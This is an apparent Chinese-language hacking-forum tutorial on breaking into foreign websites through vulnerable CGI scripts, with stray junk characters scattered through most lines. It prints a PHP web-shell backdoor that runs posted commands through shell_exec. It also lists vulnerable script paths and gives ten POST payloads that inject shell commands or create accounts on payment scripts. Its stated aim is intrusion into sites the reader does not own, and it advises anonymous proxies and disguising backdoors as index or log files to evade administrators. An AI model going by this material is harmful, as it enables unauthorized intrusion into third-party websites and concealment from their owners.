CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
( c  o6 W4 \+ |$ F大家好 我是bboyhip  只是一名菜菜的exploiter
9 Q& O2 ?- L0 H$ Y/ l; f2 k2 A4 L很开心来到贵论坛
% V9 X! v% Z% M! q7 n这里让我感觉 很有技术交流的感觉
我会长长来玩的
前言:
以下讲解针对欧美日本网站
當我們在做滲透分析的時候 方法有很多
1 ^! J/ d8 O2 U+ H我门都知道 国外伺服器大多是linux 平台
3 v. C+ I! y6 V) {5 g/ b所以有很多网站程序有6成都会使用cgi 脚本来管理
/ e1 T, e# T0 H) D% Y) s目录为/cgi-bin/
6 U& l+ z; b6 g/ X6 I
/ t7 _  a% _9 T0 g" o只是个人在实务上一些经验
7 `( Y+ O% ?/ L1 B5 I+ J- M1 Z写的不好 请多多见谅喔
8 a% L& z8 t+ s9 u在这里我简单分为几个部份一定要會的
1 L! S) n' \  R" f讲解一下
让没有基础的人很容易上手

以下内容跟帖回复才能看到
$ M! Z, e) h' c==============================
) N. d) h1 W# t7 v& S7 P
第1部份: 何谓Shell?
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
A shell is the program which reads user input from the command line and executes actions based upon that input.
$ b/ \1 [& [8 W, G& L& P' Z# x! Q意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
  A) J( {* C& o' Q9 a
对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.

5 z% O1 D6 k0 B4 T* H- Y第2部份: Unix 指令
, X$ s/ [$ O& H  q. x以下是一些常见及重要的指令:
* Q2 O) A, q, ?6 p& |+ opwd: 显示当前目录, 即是後门/程式所在的位置
- G6 g9 G0 o* z4 p如 /home/www/site.com/cgi-bin/
6 J& Y; y! r' z1 e1 \ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
& C$ u+ u/ M1 Y; c+ Pls -al :详细列出档案资料(当前目录)
ls /: 列出根目录
ls /etc: 列出/etc的资料夹及档案
ls ../ -al: 详细列出上一层的资料夹及档案
% z4 E0 q+ G2 a2 f+ V( [cat: 显示档案内容
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
who: 显示谁login 至系统
7 t3 }: s  s" E6 U/ kman: 显示指令用法  
% U  w9 h$ p; T5 M" f& D. `9 rman ls: 显示ls这指令的用法  
( M* I' z: w/ D. k, i4 q) b" Emkdir 建立目录
rmdir 删除目录
mv 移动档案
( C" d5 ~; O. t  Irm 删除档案

8 N+ h; t1 G! I! j- D第3部份: Shell的使用
例如:
& V) ~5 Y+ K* J4 z% Mhttp://site.com/refer.php
+ Y( H7 Y) B+ _( B这是我的後门, 原代码如下:
<Form Action="#" Method="POST">
5 I; C! V( l% K6 R3 d! `<Input type="text" name="cmd">
! x; v& T( |4 j! a9 @; w* O<Input type="Submit">
</Form>
" m- ]0 b$ s5 t) F% g<?php
$cmd = $_POST['cmd'];
$Output = shell_exec($cmd);
echo $Output;
?>
" h6 A. [0 n; B# t输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
1 E* h) u  i% `* Y
第4部份: 注意事项
- 使用匿名代理, 保障自己
" `1 n4 f  K( R& ]7 Z1 {7 Y% e5 C- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
8 H9 d& M- r. C' j) B* S1 i- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
不容易被发现.
$ H) p$ T+ |1 `- r- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
5 r, ~3 X: g( p/ ]0 E针对网站的渗透分析方法太多了
' D3 L% _5 t2 f- z8 Y- m: v# B这篇文章的重点是cgi 脚本攻击
% l0 {1 M5 ?5 d% H' {所以我用简单的叙述形容
( x# n5 w$ H5 j) |3 U0 s开始讲解脚本入侵过程:
在这里提供一些方法思路让大家学习一下
; v# v0 \: [. A5 k) J
1 }6 F" G+ @! e0 T& Q  \+ c8 e1.一开始对一个网站进行cgi漏洞扫描
% c* Y% A/ H0 N( S2 b% C( V# c我们需要的东西有
扫洞工具 如:triton..等等
4 r* d8 L2 j* {7 o! S% FE表
% E# f: d/ A0 [4 z如
3 L2 u1 N* @. N  j* ^  ~/cgi-bin/add-passwd.cgi
/WebShop/templates/cc.txt
/Admin_files/order.log
/orders/mountain.cfg
/cgi-sys/cart.pl
/scripts/cart.pl
5 G% O. A4 ?2 E" c- s/htbin/cart.pl
/ ?! d. G; U/ j+ Z# b& i' D0 V; |E表来源可以是网路收寻或是自己的0 day

2.怎样确认扫到的洞 是真的还假的?
举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
' d& D2 s" @8 L一般都是在IE里先看一下的,记住这个返回码哦
; w  Z. K2 F2 ]4 p! gERROR:This script should be referenced with a METHOD of POST.
没有返回一定是假的
3.重来来了 很多人都会问我
' Z: r& s* Z& \3 g/ G( i6 |( p" j他扫到很多洞 但是不会使用
; t9 u1 K* E9 D) d因为这些漏洞 使用的语法 称为post
我们要找post 的方法很多
可以是源代码分析 找出介质
, C) K% w6 D% R* U, J或是用抓包工具 抓他的语法...等等

以下我提供10个 cgi 洞以及使用方法post
( y7 T  X- P, t7 P; I4 G+ r让大家可以针对网站去做扫描  
1 J+ }# ~* E4 i0 x/index.cgi
wei=ren&gen=command
  c2 m+ X& d+ ?3 f  }9 e  a# Z/passmaster.cgi
Action=Add&Username=Username&Password=Password
& i* r/ _: p9 p( l% ^/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
/form.cgi
( m* C( W) u7 w- {0 cname=xxxx&email=email&subject=xxxx&response=|echo;ls|
/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
3 D) [( H$ h4 `$ {/ccbill-local.asp
7 K5 q: {. n, qpost_values=username:password
/count.cgi
pinfile=|echo;ls -la;exit|
/recon.cgi
/recon.cgi?search
- t0 z1 O4 N! R8 O0 T! Qsearchoption=1&searchfor=|echo;ls -al;exit|
6 k* m  r; j; k" A% A) Y/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
9 w! o$ x1 \1 N' j3 W5 b# t/af.cgi_browser_out=|echo;ls -la;exit;|
5 I# x- T- c) V, l$ s0 J
今天就讲到这  感谢大家支持